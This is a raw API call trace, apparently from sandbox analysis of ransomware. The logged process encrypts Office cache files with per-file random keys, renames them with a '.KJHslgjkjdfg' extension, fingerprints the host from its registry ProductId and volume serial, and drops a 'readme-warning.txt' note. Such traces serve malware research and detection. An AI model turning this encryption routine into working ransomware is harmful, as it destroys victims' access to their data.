[0147.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.087] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.087] GetProcessHeap () returned 0x2ef0000 [0147.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0147.087] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0147.088] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.088] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0147.088] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0147.088] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0147.088] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0147.088] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.088] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0147.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0147.088] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.088] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.088] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x75e, lpOverlapped=0x0) returned 1 [0147.088] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x760, dwBufLen=0x760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x760) returned 1 [0147.089] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.089] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x760, lpOverlapped=0x0) returned 1 [0147.089] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.089] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.089] SetEndOfFile (hFile=0x124) returned 1 [0147.092] GetProcessHeap () returned 0x2ef0000 [0147.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0147.092] GetProcessHeap () returned 0x2ef0000 [0147.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.092] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0147.095] CloseHandle (hObject=0x124) returned 1 [0147.095] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0147.095] GetProcessHeap () returned 0x2ef0000 [0147.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0147.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.095] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0147.095] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.095] GetProcessHeap () returned 0x2ef0000 [0147.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0147.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.095] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0147.095] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.095] GetProcessHeap () returned 0x2ef0000 [0147.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0147.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.095] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0147.095] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.095] GetProcessHeap () returned 0x2ef0000 [0147.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0147.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.096] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0147.096] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.096] GetProcessHeap () returned 0x2ef0000 [0147.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0147.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.096] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0147.096] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.096] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0147.096] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0147.096] RegCloseKey (hKey=0x124) returned 0x0 [0147.096] GetProcessHeap () returned 0x2ef0000 [0147.096] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0147.096] GetProcessHeap () returned 0x2ef0000 [0147.096] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0147.096] GetProcessHeap () returned 0x2ef0000 [0147.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0147.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.096] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0147.097] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.097] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.097] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.097] GetProcessHeap () returned 0x2ef0000 [0147.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0147.097] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.097] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.097] GetProcessHeap () returned 0x2ef0000 [0147.097] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0147.097] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0147.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.097] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0147.098] CloseHandle (hObject=0x124) returned 1 [0147.099] GetProcessHeap () returned 0x2ef0000 [0147.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0147.099] GetProcessHeap () returned 0x2ef0000 [0147.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0147.099] GetProcessHeap () returned 0x2ef0000 [0147.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0147.099] GetProcessHeap () returned 0x2ef0000 [0147.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0147.099] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0147.099] GetProcessHeap () returned 0x2ef0000 [0147.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0147.099] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0147.099] GetProcessHeap () returned 0x2ef0000 [0147.099] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0147.099] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0147.102] GetProcessHeap () returned 0x2ef0000 [0147.102] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0147.102] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.103] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0147.103] GetProcessHeap () returned 0x2ef0000 [0147.103] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0147.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.104] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2513920) returned 1 [0147.104] GetProcessHeap () returned 0x2ef0000 [0147.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.104] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.104] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.104] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.104] GetProcessHeap () returned 0x2ef0000 [0147.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0147.104] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0147.104] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.104] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0147.107] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0147.107] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0147.107] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0147.107] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.107] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0147.107] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.107] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.107] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.107] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.109] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.112] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.112] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.113] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.113] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.113] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.113] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.124] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.127] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.127] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.129] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.129] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.129] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.129] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.137] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.140] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.141] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.141] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.141] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.141] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.141] SetEndOfFile (hFile=0x124) returned 1 [0147.145] GetProcessHeap () returned 0x2ef0000 [0147.145] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0147.145] GetProcessHeap () returned 0x2ef0000 [0147.145] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.145] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.kjhslgjkjdfg")) returned 1 [0147.146] CloseHandle (hObject=0x124) returned 1 [0147.146] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0147.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.146] GetProcessHeap () returned 0x2ef0000 [0147.146] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.146] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 